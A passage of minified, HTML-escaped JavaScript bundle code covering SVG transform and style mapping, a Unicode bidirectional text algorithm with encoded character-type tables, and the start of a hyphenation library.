alue:t.map(r=&gt;Number.parseFloat(r))}}},X8e=e=&gt;e.map(t=&gt;J8e(t)),SQ=(e,t)=&gt;typeof t!=&quot;string&quot;?{[e]:t}:{[e]:X8e(Z8e(t))},BQ={top:!0,bottom:!0},eke=(e,t)=&gt;BQ[e]?1:BQ[t]?-1:0,tke=e=&gt;!e||e.length===0?[&quot;center&quot;,&quot;center&quot;]:(e.length===1?[e[0],&quot;center&quot;]:e).sort(eke),rke=(e,t,r)=&gt;{const n=`${t}`.split(&quot; &quot;),i=tke(n),s=To(r,i[0]),o=To(r,i[1]);return{transformOriginX:I1(s)||XN(s),transformOriginY:I1(o)||XN(o)}},kQ=(e,t,r)=&gt;{const n=To(r,t);return{[e]:I1(n)||XN(n)}},nke={transform:SQ,gradientTransform:SQ,transformOrigin:rke,transformOriginX:kQ,transformOriginY:kQ},ike={fill:Gf,stroke:Gf,strokeDasharray:yi,strokeWidth:Ya,fillOpacity:Om,strokeOpacity:Om,fillRule:yi,textAnchor:yi,strokeLinecap:yi,strokeLinejoin:yi,visibility:yi,clipPath:yi,dominantBaseline:yi},_Q={...E8e,...C8e,...I8e,...B8e,..._8e,...D8e,...F8e,...U8e,...$8e,...K8e,...nke,...ike},ake=e=&gt;t=&gt;{const r=Object.keys(t),n={};for(let i=0;i&lt;r.length;i+=1){const s=r[i],o=t[s];if(!_Q[s]){n[s]=o;continue}const l=_Q[s](s,o,e,t),c=Object.keys(l);for(let d=0;d&lt;c.length;d+=1){const u=c[d],h=l[u];n[u]=h}}return n},wW=(e,t)=&gt;{const r=n=&gt;p8e(e,n);return Nc(ake(e),r,p8)(t)};function g8(){var e=(function(t){var r={R:&quot;13k,1a,2,3,3,2+1j,ch+16,a+1,5+2,2+n,5,a,4,6+16,4+3,h+1b,4mo,179q,2+9,2+11,2i9+7y,2+68,4,3+4,5+13,4+3,2+4k,3+29,8+cf,1t+7z,w+17,3+3m,1t+3z,16o1+5r,8+30,8+mc,29+1r,29+4v,75+73&quot;,EN:&quot;1c+9,3d+1,6,187+9,513,4+5,7+9,sf+j,175h+9,qw+q,161f+1d,4xt+a,25i+9&quot;,ES:&quot;17,2,6dp+1,f+1,av,16vr,mx+1,4o,2&quot;,ET:&quot;z+2,3h+3,b+1,ym,3e+1,2o,p4+1,8,6u,7c,g6,1wc,1n9+4,30+1b,2n,6d,qhx+1,h0m,a+1,49+2,63+1,4+1,6bb+3,12jj&quot;,AN:&quot;16o+5,2j+9,2+1,35,ed,1ff2+9,87+u&quot;,CS:&quot;18,2+1,b,2u,12k,55v,l,17v0,2,3,53,2+1,b&quot;,B:&quot;a,3,f+2,2v,690&quot;,S:&quot;9,2,k&quot;,WS:&quot;c,k,4f4,1vk+a,u,1j,335&quot;,ON:&quot;x+1,4+4,h+5,r+5,r+3,z,5+3,2+1,2+1,5,2+2,3+4,o,w,ci+1,8+d,3+d,6+8,2+g,39+1,9,6+1,2,33,b8,3+1,3c+1,7+1,5r,b,7h+3,sa+5,2,3i+6,jg+3,ur+9,2v,ij+1,9g+9,7+a,8m,4+1,49+x,14u,2+2,c+2,e+2,e+2,e+1,i+n,e+e,2+p,u+2,e+2,36+1,2+3,2+1,b,2+2,6+5,2,2,2,h+1,5+4,6+3,3+f,16+2,5+3l,3+81,1y+p,2+40,q+a,m+13,2r+ch,2+9e,75+hf,3+v,2+2w,6e+5,f+6,75+2a,1a+p,2+2g,d+5x,r+b,6+3,4+o,g,6+1,6+2,2k+1,4,2j,5h+z,1m+1,1e+f,t+2,1f+e,d+3,4o+3,2s+1,w,535+1r,h3l+1i,93+2,2s,b+1,3l+x,2v,4g+3,21+3,kz+1,g5v+1,5a,j+9,n+v,2,3,2+8,2+1,3+2,2,3,46+1,4+4,h+5,r+5,r+a,3h+2,4+6,b+4,78,1r+24,4+c,4,1hb,ey+6,103+j,16j+c,1ux+7,5+g,fsh,jdq+1t,4,57+2e,p1,1m,1m,1m,1m,4kt+1,7j+17,5+2r,d+e,3+e,2+e,2+10,m+4,w,1n+5,1q,4z+5,4b+rb,9+c,4+c,4+37,d+2g,8+b,l+b,5+1j,9+9,7+13,9+t,3+1,27+3c,2+29,2+3q,d+d,3+4,4+2,6+6,a+o,8+6,a+2,e+6,16+42,2+1i&quot;,BN:&quot;0+8,6+d,2s+5,2+p,e,4m9,1kt+2,2b+5,5+5,17q9+v,7k,6p+8,6+1,119d+3,440+7,96s+1,1ekf+1,1ekf+1,1ekf+1,1ekf+1,1ekf+1,1ekf+1,1ekf+1,1ekf+1,1ekf+1,1ekf+1,1ekf+1,1ekf+75,6p+2rz,1ben+1,1ekf+1,1ekf+1&quot;,NSM:&quot;lc+33,7o+6,7c+18,2,2+1,2+1,2,21+a,1d+k,h,2u+6,3+5,3+1,2+3,10,v+q,2k+a,1n+8,a,p+3,2+8,2+2,2+4,18+2,3c+e,2+v,1k,2,5+7,5,4+6,b+1,u,1n,5+3,9,l+1,r,3+1,1m,5+1,5+1,3+2,4,v+1,4,c+1,1m,5+4,2+1,5,l+1,n+5,2,1n,3,2+3,9,8+1,c+1,v,1q,d,1f,4,1m+2,6+2,2+3,8+1,c+1,u,1n,g+1,l+1,t+1,1m+1,5+3,9,l+1,u,21,8+2,2,2j,3+6,d+7,2r,3+8,c+5,23+1,s,2,2,1k+d,2+4,2+1,6+a,2+z,a,2v+3,2+5,2+1,3+1,q+1,5+2,h+3,e,3+1,7,g,jk+2,qb+2,u+2,u+1,v+1,1t+1,2+6,9,3+a,a,1a+2,3c+1,z,3b+2,5+1,a,7+2,64+1,3,1n,2+6,2,2,3+7,7+9,3,1d+g,1s+3,1d,2+4,2,6,15+8,d+1,x+3,3+1,2+2,1l,2+1,4,2+2,1n+7,3+1,49+2,2+c,2+6,5,7,4+1,5j+1l,2+4,k1+w,2db+2,3y,2p+v,ff+3,30+1,n9x+3,2+9,x+1,29+1,7l,4,5,q+1,6,48+1,r+h,e,13+7,q+a,1b+2,1d,3+3,3+1,14,1w+5,3+1,3+1,d,9,1c,1g,2+2,3+1,6+1,2,17+1,9,6n,3,5,fn5,ki+f,h+f,r2,6b,46+4,1af+2,2+1,6+3,15+2,5,4m+1,fy+3,as+1,4a+a,4x,1j+e,1l+2,1e+3,3+1,1y+2,11+4,2+7,1r,d+1,1h+8,b+3,3,2o+2,3,2+1,7,4h,4+7,m+1,1m+1,4,12+6,4+4,5g+7,3+2,2,o,2d+5,2,5+1,2+1,6n+3,7+1,2+1,s+1,2e+7,3,2+1,2z,2,3+5,2,2u+2,3+3,2+4,78+8,2+1,75+1,2,5,41+3,3+1,5,x+5,3+1,15+5,3+3,9,a+5,3+2,1b+c,2+1,bb+6,2+5,2d+l,3+6,2+1,2+1,3f+5,4,2+1,2+6,2,21+1,4,2,9o+1,f0c+4,1o+6,t5,1s+3,2a,f5l+1,43t+2,i+7,3+6,v+3,45+2,1j0+1i,5+1d,9,f,n+4,2+e,11t+6,2+g,3+6,2+1,2+4,7a+6,c6+3,15t+6,32+6,gzhy+6n&quot;,AL:&quot;16w,3,2,e+1b,z+2,2+2s,g+1,8+1,b+m,2+t,s+2i,c+e,4h+f,1d+1e,1bwe+dp,3+3z,x+c,2+1,35+3y,2rm+z,5+7,b+5,dt+l,c+u,17nl+27,1t+27,4x+6n,3+d&quot;,LRO:&quot;6ct&quot;,RLO:&quot;6cu&quot;,LRE:&quot;6cq&quot;,RLE:&quot;6cr&quot;,PDF:&quot;6cs&quot;,LRI:&quot;6ee&quot;,RLI:&quot;6ef&quot;,FSI:&quot;6eg&quot;,PDI:&quot;6eh&quot;},n={},i={};n.L=1,i[1]=&quot;L&quot;,Object.keys(r).forEach(function(Oe,Pt){n[Oe]=1&lt;&lt;Pt+1,i[n[Oe]]=Oe}),Object.freeze(n);var s=n.LRI|n.RLI|n.FSI,o=n.L|n.R|n.AL,l=n.B|n.S|n.WS|n.ON|n.FSI|n.LRI|n.RLI|n.PDI,c=n.BN|n.RLE|n.LRE|n.RLO|n.LRO|n.PDF,d=n.S|n.WS|n.B|s|n.PDI|c,u=null;function h(){if(!u){u=new Map;var Oe=function(Kt){if(r.hasOwnProperty(Kt)){var gt=0;r[Kt].split(&quot;,&quot;).forEach(function(Jt){var Bt=Jt.split(&quot;+&quot;),tr=Bt[0],sr=Bt[1];tr=parseInt(tr,36),sr=sr?parseInt(sr,36):0,u.set(gt+=tr,n[Kt]);for(var xt=0;xt&lt;sr;xt++)u.set(++gt,n[Kt])})}};for(var Pt in r)Oe(Pt)}}function p(Oe){return h(),u.get(Oe.codePointAt(0))||n.L}function A(Oe){return i[p(Oe)]}var y={pairs:&quot;14&gt;1,1e&gt;2,u&gt;2,2wt&gt;1,1&gt;1,1ge&gt;1,1wp&gt;1,1j&gt;1,f&gt;1,hm&gt;1,1&gt;1,u&gt;1,u6&gt;1,1&gt;1,+5,28&gt;1,w&gt;1,1&gt;1,+3,b8&gt;1,1&gt;1,+3,1&gt;3,-1&gt;-1,3&gt;1,1&gt;1,+2,1s&gt;1,1&gt;1,x&gt;1,th&gt;1,1&gt;1,+2,db&gt;1,1&gt;1,+3,3&gt;1,1&gt;1,+2,14qm&gt;1,1&gt;1,+1,4q&gt;1,1e&gt;2,u&gt;2,2&gt;1,+1&quot;,canonical:&quot;6f1&gt;-6dx,6dy&gt;-6dx,6ec&gt;-6ed,6ee&gt;-6ed,6ww&gt;2jj,-2ji&gt;2jj,14r4&gt;-1e7l,1e7m&gt;-1e7l,1e7m&gt;-1e5c,1e5d&gt;-1e5b,1e5c&gt;-14qx,14qy&gt;-14qx,14vn&gt;-1ecg,1ech&gt;-1ecg,1edu&gt;-1ecg,1eci&gt;-1ecg,1eda&gt;-1ecg,1eci&gt;-1ecg,1eci&gt;-168q,168r&gt;-168q,168s&gt;-14ye,14yf&gt;-14ye&quot;};function v(Oe,Pt){var Kt=36,gt=0,Jt=new Map,Bt=Pt&amp;&amp;new Map,tr;return Oe.split(&quot;,&quot;).forEach(function sr(xt){if(xt.indexOf(&quot;+&quot;)!==-1)for(var wt=+xt;wt--;)sr(tr);else{tr=xt;var Lt=xt.split(&quot;&gt;&quot;),ir=Lt[0],He=Lt[1];ir=String.fromCodePoint(gt+=parseInt(ir,Kt)),He=String.fromCodePoint(gt+=parseInt(He,Kt)),Jt.set(ir,He),Pt&amp;&amp;Bt.set(He,ir)}}),{map:Jt,reverseMap:Bt}}var w,j,E;function S(){if(!w){var Oe=v(y.pairs,!0),Pt=Oe.map,Kt=Oe.reverseMap;w=Pt,j=Kt,E=v(y.canonical,!1).map}}function _(Oe){return S(),w.get(Oe)||null}function C(Oe){return S(),j.get(Oe)||null}function Q(Oe){return S(),E.get(Oe)||null}var R=n.L,T=n.R,M=n.EN,O=n.ES,$=n.ET,P=n.AN,L=n.CS,X=n.B,W=n.S,G=n.ON,J=n.BN,q=n.NSM,ee=n.AL,ne=n.LRO,V=n.RLO,ue=n.LRE,de=n.RLE,xe=n.PDF,_e=n.LRI,Ce=n.RLI,we=n.FSI,ve=n.PDI;function Ne(Oe,Pt){for(var Kt=125,gt=new Uint32Array(Oe.length),Jt=0;Jt&lt;Oe.length;Jt++)gt[Jt]=p(Oe[Jt]);var Bt=new Map;function tr(zn,_a){var ba=gt[zn];gt[zn]=_a,Bt.set(ba,Bt.get(ba)-1),ba&amp;l&amp;&amp;Bt.set(l,Bt.get(l)-1),Bt.set(_a,(Bt.get(_a)||0)+1),_a&amp;l&amp;&amp;Bt.set(l,(Bt.get(l)||0)+1)}for(var sr=new Uint8Array(Oe.length),xt=new Map,wt=[],Lt=null,ir=0;ir&lt;Oe.length;ir++)Lt||wt.push(Lt={start:ir,end:Oe.length-1,level:Pt===&quot;rtl&quot;?1:Pt===&quot;ltr&quot;?0:li(ir,!1)}),gt[ir]&amp;X&amp;&amp;(Lt.end=ir,Lt=null);for(var He=de|ue|V|ne|s|ve|xe|X,ce=function(zn){return zn+(zn&amp;1?1:2)},Le=function(zn){return zn+(zn&amp;1?2:1)},rt=0;rt&lt;wt.length;rt++){Lt=wt[rt];var ie=[{_level:Lt.level,_override:0,_isolate:0}],ae=void 0,Ee=0,re=0,We=0;Bt.clear();for(var Tt=Lt.start;Tt&lt;=Lt.end;Tt++){var H=gt[Tt];if(ae=ie[ie.length-1],Bt.set(H,(Bt.get(H)||0)+1),H&amp;l&amp;&amp;Bt.set(l,(Bt.get(l)||0)+1),H&amp;He)if(H&amp;(de|ue)){sr[Tt]=ae._level;var ze=(H===de?Le:ce)(ae._level);ze&lt;=Kt&amp;&amp;!Ee&amp;&amp;!re?ie.push({_level:ze,_override:0,_isolate:0}):Ee||re++}else if(H&amp;(V|ne)){sr[Tt]=ae._level;var Ze=(H===V?Le:ce)(ae._level);Ze&lt;=Kt&amp;&amp;!Ee&amp;&amp;!re?ie.push({_level:Ze,_override:H&amp;V?T:R,_isolate:0}):Ee||re++}else if(H&amp;s){H&amp;we&amp;&amp;(H=li(Tt+1,!0)===1?Ce:_e),sr[Tt]=ae._level,ae._override&amp;&amp;tr(Tt,ae._override);var he=(H===Ce?Le:ce)(ae._level);he&lt;=Kt&amp;&amp;Ee===0&amp;&amp;re===0?(We++,ie.push({_level:he,_override:0,_isolate:1,_isolInitIndex:Tt})):Ee++}else if(H&amp;ve){if(Ee&gt;0)Ee--;else if(We&gt;0){for(re=0;!ie[ie.length-1]._isolate;)ie.pop();var De=ie[ie.length-1]._isolInitIndex;De!=null&amp;&amp;(xt.set(De,Tt),xt.set(Tt,De)),ie.pop(),We--}ae=ie[ie.length-1],sr[Tt]=ae._level,ae._override&amp;&amp;tr(Tt,ae._override)}else H&amp;xe?(Ee===0&amp;&amp;(re&gt;0?re--:!ae._isolate&amp;&amp;ie.length&gt;1&amp;&amp;(ie.pop(),ae=ie[ie.length-1])),sr[Tt]=ae._level):H&amp;X&amp;&amp;(sr[Tt]=Lt.level);else sr[Tt]=ae._level,ae._override&amp;&amp;H!==J&amp;&amp;tr(Tt,ae._override)}for(var qe=[],dr=null,Xt=Lt.start;Xt&lt;=Lt.end;Xt++){var Te=gt[Xt];if(!(Te&amp;c)){var zt=sr[Xt],qr=Te&amp;s,kr=Te===ve;dr&amp;&amp;zt===dr._level?(dr._end=Xt,dr._endsWithIsolInit=qr):qe.push(dr={_start:Xt,_end:Xt,_level:zt,_startsWithPDI:kr,_endsWithIsolInit:qr})}}for(var fr=[],Ft=0;Ft&lt;qe.length;Ft++){var Gr=qe[Ft];if(!Gr._startsWithPDI||Gr._startsWithPDI&amp;&amp;!xt.has(Gr._start)){for(var Zr=[dr=Gr],xi=void 0;dr&amp;&amp;dr._endsWithIsolInit&amp;&amp;(xi=xt.get(dr._end))!=null;)for(var Ji=Ft+1;Ji&lt;qe.length;Ji++)if(qe[Ji]._start===xi){Zr.push(dr=qe[Ji]);break}for(var Pn=[],Mi=0;Mi&lt;Zr.length;Mi++)for(var Sn=Zr[Mi],si=Sn._start;si&lt;=Sn._end;si++)Pn.push(si);for(var ia=sr[Pn[0]],aa=Lt.level,go=Pn[0]-1;go&gt;=0;go--)if(!(gt[go]&amp;c)){aa=sr[go];break}var Ui=Pn[Pn.length-1],ni=sr[Ui],Ma=Lt.level;if(!(gt[Ui]&amp;s)){for(var Xa=Ui+1;Xa&lt;=Lt.end;Xa++)if(!(gt[Xa]&amp;c)){Ma=sr[Xa];break}}fr.push({_seqIndices:Pn,_sosType:Math.max(aa,ia)%2?T:R,_eosType:Math.max(Ma,ni)%2?T:R})}}for(var es=0;es&lt;fr.length;es++){var Ua=fr[es],pr=Ua._seqIndices,Hs=Ua._sosType,wi=Ua._eosType,za=sr[pr[0]]&amp;1?T:R;if(Bt.get(q))for(var $a=0;$a&lt;pr.length;$a++){var qs=pr[$a];if(gt[qs]&amp;q){for(var to=Hs,Ha=$a-1;Ha&gt;=0;Ha--)if(!(gt[pr[Ha]]&amp;c)){to=gt[pr[Ha]];break}tr(qs,to&amp;(s|ve)?G:to)}}if(Bt.get(M))for(var oi=0;oi&lt;pr.length;oi++){var Bs=pr[oi];if(gt[Bs]&amp;M)for(var Sa=oi-1;Sa&gt;=-1;Sa--){var me=Sa===-1?Hs:gt[pr[Sa]];if(me&amp;o){me===ee&amp;&amp;tr(Bs,P);break}}}if(Bt.get(ee))for(var pe=0;pe&lt;pr.length;pe++){var Qe=pr[pe];gt[Qe]&amp;ee&amp;&amp;tr(Qe,T)}if(Bt.get(O)||Bt.get(L))for(var $e=1;$e&lt;pr.length-1;$e++){var nt=pr[$e];if(gt[nt]&amp;(O|L)){for(var vt=0,Mt=0,Ot=$e-1;Ot&gt;=0&amp;&amp;(vt=gt[pr[Ot]],!!(vt&amp;c));Ot--);for(var ur=$e+1;ur&lt;pr.length&amp;&amp;(Mt=gt[pr[ur]],!!(Mt&amp;c));ur++);vt===Mt&amp;&amp;(gt[nt]===O?vt===M:vt&amp;(M|P))&amp;&amp;tr(nt,vt)}}if(Bt.get(M))for(var Gt=0;Gt&lt;pr.length;Gt++){var wr=pr[Gt];if(gt[wr]&amp;M){for(var Rr=Gt-1;Rr&gt;=0&amp;&amp;gt[pr[Rr]]&amp;($|c);Rr--)tr(pr[Rr],M);for(Gt++;Gt&lt;pr.length&amp;&amp;gt[pr[Gt]]&amp;($|c|M);Gt++)gt[pr[Gt]]!==M&amp;&amp;tr(pr[Gt],M)}}if(Bt.get($)||Bt.get(O)||Bt.get(L))for(var fn=0;fn&lt;pr.length;fn++){var Ei=pr[fn];if(gt[Ei]&amp;($|O|L)){tr(Ei,G);for(var mn=fn-1;mn&gt;=0&amp;&amp;gt[pr[mn]]&amp;c;mn--)tr(pr[mn],G);for(var Kr=fn+1;Kr&lt;pr.length&amp;&amp;gt[pr[Kr]]&amp;c;Kr++)tr(pr[Kr],G)}}if(Bt.get(M))for(var xa=0,ro=Hs;xa&lt;pr.length;xa++){var ts=pr[xa],Dl=gt[ts];Dl&amp;M?ro===R&amp;&amp;tr(ts,R):Dl&amp;o&amp;&amp;(ro=Dl)}if(Bt.get(l)){var Uo=T|M|P,zo=Uo|R,Ao=[];{for(var Gs=[],rs=0;rs&lt;pr.length;rs++)if(gt[pr[rs]]&amp;l){var Vs=Oe[pr[rs]],ks=void 0;if(_(Vs)!==null)if(Gs.length&lt;63)Gs.push({char:Vs,seqIndex:rs});else break;else if((ks=C(Vs))!==null)for(var zi=Gs.length-1;zi&gt;=0;zi--){var xo=Gs[zi].char;if(xo===ks||xo===C(Q(Vs))||_(Q(xo))===Vs){Ao.push([Gs[zi].seqIndex,rs]),Gs.length=zi;break}}}Ao.sort(function(zn,_a){return zn[0]-_a[0]})}for(var va=0;va&lt;Ao.length;va++){for(var Tc=Ao[va],ml=Tc[0],Ws=Tc[1],Au=!1,Ba=0,ec=ml+1;ec&lt;Ws;ec++){var xu=pr[ec];if(gt[xu]&amp;zo){Au=!0;var $i=gt[xu]&amp;Uo?T:R;if($i===za){Ba=$i;break}}}if(Au&amp;&amp;!Ba){Ba=Hs;for(var vo=ml-1;vo&gt;=0;vo--){var tc=pr[vo];if(gt[tc]&amp;zo){var yo=gt[tc]&amp;Uo?T:R;yo!==za?Ba=yo:Ba=za;break}}}if(Ba){if(gt[pr[ml]]=gt[pr[Ws]]=Ba,Ba!==za){for(var sa=ml+1;sa&lt;pr.length;sa++)if(!(gt[pr[sa]]&amp;c)){p(Oe[pr[sa]])&amp;q&amp;&amp;(gt[pr[sa]]=Ba);break}}if(Ba!==za){for(var $o=Ws+1;$o&lt;pr.length;$o++)if(!(gt[pr[$o]]&amp;c)){p(Oe[pr[$o]])&amp;q&amp;&amp;(gt[pr[$o]]=Ba);break}}}}for(var ms=0;ms&lt;pr.length;ms++)if(gt[pr[ms]]&amp;l){for(var ka=ms,ps=ms,qa=Hs,ya=ms-1;ya&gt;=0;ya--)if(gt[pr[ya]]&amp;c)ka=ya;else{qa=gt[pr[ya]]&amp;Uo?T:R;break}for(var _s=wi,Ks=ms+1;Ks&lt;pr.length;Ks++)if(gt[pr[Ks]]&amp;(l|c))ps=Ks;else{_s=gt[pr[Ks]]&amp;Uo?T:R;break}for(var oa=ka;oa&lt;=ps;oa++)gt[pr[oa]]=qa===_s?qa:za;ms=ps}}}for(var Ni=Lt.start;Ni&lt;=Lt.end;Ni++){var pl=sr[Ni],ns=gt[Ni];if(pl&amp;1?ns&amp;(R|M|P)&amp;&amp;sr[Ni]++:ns&amp;T?sr[Ni]++:ns&amp;(P|M)&amp;&amp;(sr[Ni]+=2),ns&amp;c&amp;&amp;(sr[Ni]=Ni===0?Lt.level:sr[Ni-1]),Ni===Lt.end||p(Oe[Ni])&amp;(W|X))for(var no=Ni;no&gt;=0&amp;&amp;p(Oe[no])&amp;d;no--)sr[no]=Lt.level}}return{levels:sr,paragraphs:wt};function li(zn,_a){for(var ba=zn;ba&lt;Oe.length;ba++){var gs=gt[ba];if(gs&amp;(T|ee))return 1;if(gs&amp;(X|R)||_a&amp;&amp;gs===ve)return 0;if(gs&amp;s){var Tl=Ys(ba);ba=Tl===-1?Oe.length:Tl}}return 0}function Ys(zn){for(var _a=1,ba=zn+1;ba&lt;Oe.length;ba++){var gs=gt[ba];if(gs&amp;X)break;if(gs&amp;ve){if(--_a===0)return ba}else gs&amp;s&amp;&amp;_a++}return-1}}var Ie=&quot;14&gt;1,j&gt;2,t&gt;2,u&gt;2,1a&gt;g,2v3&gt;1,1&gt;1,1ge&gt;1,1wd&gt;1,b&gt;1,1j&gt;1,f&gt;1,ai&gt;3,-2&gt;3,+1,8&gt;1k0,-1jq&gt;1y7,-1y6&gt;1hf,-1he&gt;1h6,-1h5&gt;1ha,-1h8&gt;1qi,-1pu&gt;1,6&gt;3u,-3s&gt;7,6&gt;1,1&gt;1,f&gt;1,1&gt;1,+2,3&gt;1,1&gt;1,+13,4&gt;1,1&gt;1,6&gt;1eo,-1ee&gt;1,3&gt;1mg,-1me&gt;1mk,-1mj&gt;1mi,-1mg&gt;1mi,-1md&gt;1,1&gt;1,+2,1&gt;10k,-103&gt;1,1&gt;1,4&gt;1,5&gt;1,1&gt;1,+10,3&gt;1,1&gt;8,-7&gt;8,+1,-6&gt;7,+1,a&gt;1,1&gt;1,u&gt;1,u6&gt;1,1&gt;1,+5,26&gt;1,1&gt;1,2&gt;1,2&gt;2,8&gt;1,7&gt;1,4&gt;1,1&gt;1,+5,b8&gt;1,1&gt;1,+3,1&gt;3,-2&gt;1,2&gt;1,1&gt;1,+2,c&gt;1,3&gt;1,1&gt;1,+2,h&gt;1,3&gt;1,a&gt;1,1&gt;1,2&gt;1,3&gt;1,1&gt;1,d&gt;1,f&gt;1,3&gt;1,1a&gt;1,1&gt;1,6&gt;1,7&gt;1,13&gt;1,k&gt;1,1&gt;1,+19,4&gt;1,1&gt;1,+2,2&gt;1,1&gt;1,+18,m&gt;1,a&gt;1,1&gt;1,lk&gt;1,1&gt;1,4&gt;1,2&gt;1,f&gt;1,3&gt;1,1&gt;1,+3,db&gt;1,1&gt;1,+3,3&gt;1,1&gt;1,+2,14qm&gt;1,1&gt;1,+1,6&gt;1,4j&gt;1,j&gt;2,t&gt;2,u&gt;2,2&gt;1,+1&quot;,be;function Re(){if(!be){var Oe=v(Ie,!0),Pt=Oe.map,Kt=Oe.reverseMap;Kt.forEach(function(gt,Jt){Pt.set(Jt,gt)}),be=Pt}}function Pe(Oe){return Re(),be.get(Oe)||null}function Ke(Oe,Pt,Kt,gt){var Jt=Oe.length;Kt=Math.max(0,Kt==null?0:+Kt),gt=Math.min(Jt-1,gt==null?Jt-1:+gt);for(var Bt=new Map,tr=Kt;tr&lt;=gt;tr++)if(Pt[tr]&amp;1){var sr=Pe(Oe[tr]);sr!==null&amp;&amp;Bt.set(tr,sr)}return Bt}function tt(Oe,Pt,Kt,gt){var Jt=Oe.length;Kt=Math.max(0,Kt==null?0:+Kt),gt=Math.min(Jt-1,gt==null?Jt-1:+gt);var Bt=[];return Pt.paragraphs.forEach(function(tr){var sr=Math.max(Kt,tr.start),xt=Math.min(gt,tr.end);if(sr&lt;xt){for(var wt=Pt.levels.slice(sr,xt+1),Lt=xt;Lt&gt;=sr&amp;&amp;p(Oe[Lt])&amp;d;Lt--)wt[Lt]=tr.level;for(var ir=tr.level,He=1/0,ce=0;ce&lt;wt.length;ce++){var Le=wt[ce];Le&gt;ir&amp;&amp;(ir=Le),Le&lt;He&amp;&amp;(He=Le|1)}for(var rt=ir;rt&gt;=He;rt--)for(var ie=0;ie&lt;wt.length;ie++)if(wt[ie]&gt;=rt){for(var ae=ie;ie+1&lt;wt.length&amp;&amp;wt[ie+1]&gt;=rt;)ie++;ie&gt;ae&amp;&amp;Bt.push([ae+sr,ie+sr])}}}),Bt}function pt(Oe,Pt,Kt,gt){var Jt=dt(Oe,Pt,Kt,gt),Bt=[].concat(Oe);return Jt.forEach(function(tr,sr){Bt[sr]=(Pt.levels[tr]&amp;1?Pe(Oe[tr]):null)||Oe[tr]}),Bt.join(&quot;&quot;)}function dt(Oe,Pt,Kt,gt){for(var Jt=tt(Oe,Pt,Kt,gt),Bt=[],tr=0;tr&lt;Oe.length;tr++)Bt[tr]=tr;return Jt.forEach(function(sr){for(var xt=sr[0],wt=sr[1],Lt=Bt.slice(xt,wt+1),ir=Lt.length;ir--;)Bt[wt-ir]=Lt[ir]}),Bt}return t.closingToOpeningBracket=C,t.getBidiCharType=p,t.getBidiCharTypeName=A,t.getCanonicalBracket=Q,t.getEmbeddingLevels=Ne,t.getMirroredCharacter=Pe,t.getMirroredCharactersMap=Ke,t.getReorderSegments=tt,t.getReorderedIndices=dt,t.getReorderedString=pt,t.openingToClosingBracket=_,Object.defineProperty(t,&quot;__esModule&quot;,{value:!0}),t})({});return e}var K5={exports:{}},ske=K5.exports,DQ;function oke(){return DQ||(DQ=1,(function(e){(function(t,r){e.exports?e.exports=r():t.createHyphenator=r()})(ske,function(){function t(L){var X=&quot;&quot;,W=&quot;&quot;,G=0,J=L();return function(q){for(;G&lt;q.length;){X=q.charAt(G++),W=q.charAt(G);var ee=J(X,W);if(ee!==void 0)return ee}}}var r=RegExp.prototype.test.bind(/\s|(?![\&#039;])[\!-\@\[-\`\{-\~\u2013-\u203C]/);function n(){var L=!1;return function(X,W){return L?W[0]===&quot;&gt;&quot;&amp;&amp;(X(),L=!1):W[0]===&quot;&lt;&quot;&amp;&amp;(!r(W[1])||W[1]===&quot;/&quot;)&amp;&amp;(L=!0),L}}function i(L){var X=!1;return function(W,G){return X?!r(G[0])&amp;&amp;r(G[1])&amp;&amp;(W(),X=!1):!r(G[0])&amp;&amp;G[1]===L&amp;&amp;(X=!0),X}}function s(L,X){return function(){var W=&quot;&quot;,G=&quot;&quot;;function J(){W+=G,G=&quot;&quot;}function q(ee){return W=&quot;&quot;,G=&quot;&quot;,ee}return function(ee,ne){G+=ee;var V=L.reduce(function(ue,de){return ue||de(J,[ee,ne])},!1);if(!V&amp;&amp;(r(ee)&amp;&amp;!r(ne)&amp;&amp;J(),!r(ee)&amp;&amp;r(ne))){if(G.length&gt;=X)return q([W,G]);J()}if(ne===&quot;&quot;)return(G.length&lt;X||V)&amp;&amp;J(),q([W,G])}}}function o(L){for(var X=[],W=0;W&lt;L.length;W++)(L[W]&amp;1)===1&amp;&amp;X.push(W);return X}function l(L,X,W){if(W.length===0)return L;var G=[L.slice(0,W[0])];if(W.length&gt;1)for(var J=0,q=1;q&lt;W.length;J++,q++)G.push(L.slice(W[J],W[q]));return G.push(L.slice(W[W.length-1])),G.join(X)}function c(L){return L.reduce(function(X,W){for(var G=0,J=[];(G=W.indexOf(&quot;-&quot;,G+1))&gt;-1;)J.push(G);return X[W.toLocaleLowerCase().replace(/\-/g,&quot;&quot;)]=J,X},{})}function d(L){var X=0;function W(){return L[X++]}return W}function u(L){var X=0,W=L;function G(){if(W=L.slice(X++),!(W.length&lt;3))return W}function J(){return X===2}return[G,J]}function h(L,q,W,G){for(var J=new Array(L.length+1),q=(&quot;.&quot;+q+&quot;.&quot;).split(&quot;&quot;),ee,ne,V,ue,de,xe,_e=-1,Ce,we,ve,Ne,Ie=J.length;Ie--;)J[Ie]=0;for(Ce=u(q),we=Ce[0],ve=Ce[1];ee=we();)for(_e++,ve()&amp;&amp;_e--,V=G,Ne=d(ee);(ne=Ne())&amp;&amp;(ue=V[ne])!==void 0;){switch(V={},de=-1,Object.prototype.toString.call(ue)){case&quot;[object Array]&quot;:V=ue[0],de=ue[1];break;case&quot;[object Object]&quot;:V=ue;break;case&quot;[object Number]&quot;:de=ue;break}if(!(de&lt;0)){W[de].splice||(W[de]=W[de].slice(&quot;&quot;)),xe=W[de];for(var be=0;be&lt;xe.length;be++)J[_e+be]=Math.max(xe[be],J[_e+be])}}return J[0]=J[1]=J[J.length-1]=J[J.length-2]=0,o(J)}function p(L,X,W,G,J,q,ee,ne,V){function ue(){Ce(de)}var de=&quot;&quot;,xe,_e=t(s((ee?[n()]:[]).concat(i(q)),ne)),Ce=function(){};function we(){for(var ve=new Date;(!V||new Date-ve&lt;10)&amp;&amp;(xe=_e(L));){if(xe[1]){var Ne=xe[1].length?&quot;~&quot;+xe[1]:&quot;&quot;;if(!Object.prototype.hasOwnProperty.call(G,Ne)){var Ie=xe[1].toLocaleLowerCase();Object.prototype.hasOwnProperty.call(J,Ie)||(J[Ie]=h(xe[1],Ie,X,W)),G[Ne]=l(xe[1],q,J[Ie])}xe[1]=G[Ne]}de+=xe[0]+xe[1]}xe?setTimeout(we):ue()}return V?(setTimeout(we),new Promise(function(ve){Ce=ve})):(we(),de)}var A=!1,y=[],v=!0,w=&quot;­&quot;,j=5,E=&quot;async&quot;,S=&quot;exceptions&quot;,_=&quot;html&quot;,C=&quot;hyphenChar&quot;,Q=&quot;minWordLength&quot;,R=typeof 